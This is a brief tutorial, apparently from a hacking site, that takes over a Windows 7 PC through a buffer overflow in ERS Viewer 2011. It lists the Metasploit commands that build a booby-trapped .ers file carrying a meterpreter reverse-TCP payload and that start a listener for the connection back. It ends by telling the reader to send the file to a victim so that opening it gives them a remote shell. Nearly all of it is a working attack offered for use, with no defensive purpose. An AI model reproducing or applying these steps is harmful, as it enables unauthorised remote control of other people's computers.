Exploit Targets
ERS Viewer 2011 (v11.04)
Requirement
Attacker: Backtrack 5
Victim PC: Windows 7
Open backtrack terminal type msfconsole
Now type use exploit/windows/fileformat/erdas_er_viewer_bof
msf exploit (erdas_er_viewer_bof)>set payload windows/meterpreter/reverse_tcp
msf exploit (erdas_er_viewer_bof)>set lhost 192.168.0.106 (IP of Local Host)
msf exploit (erdas_er_viewer_bof)>exploit
/root/.msf4/local/msf.ers
Now we need to set up a listener to handle reverse connection sent by victim when the exploit successfully executed.
use exploit/multi/handler
set payload windows/meterpreter/reverse_tcp
set lhost 192.168.0.106
exploit
Now send your msf.ers files to victim, as soon as they download and open it. Now you can access meterpreter shell on victim computer.
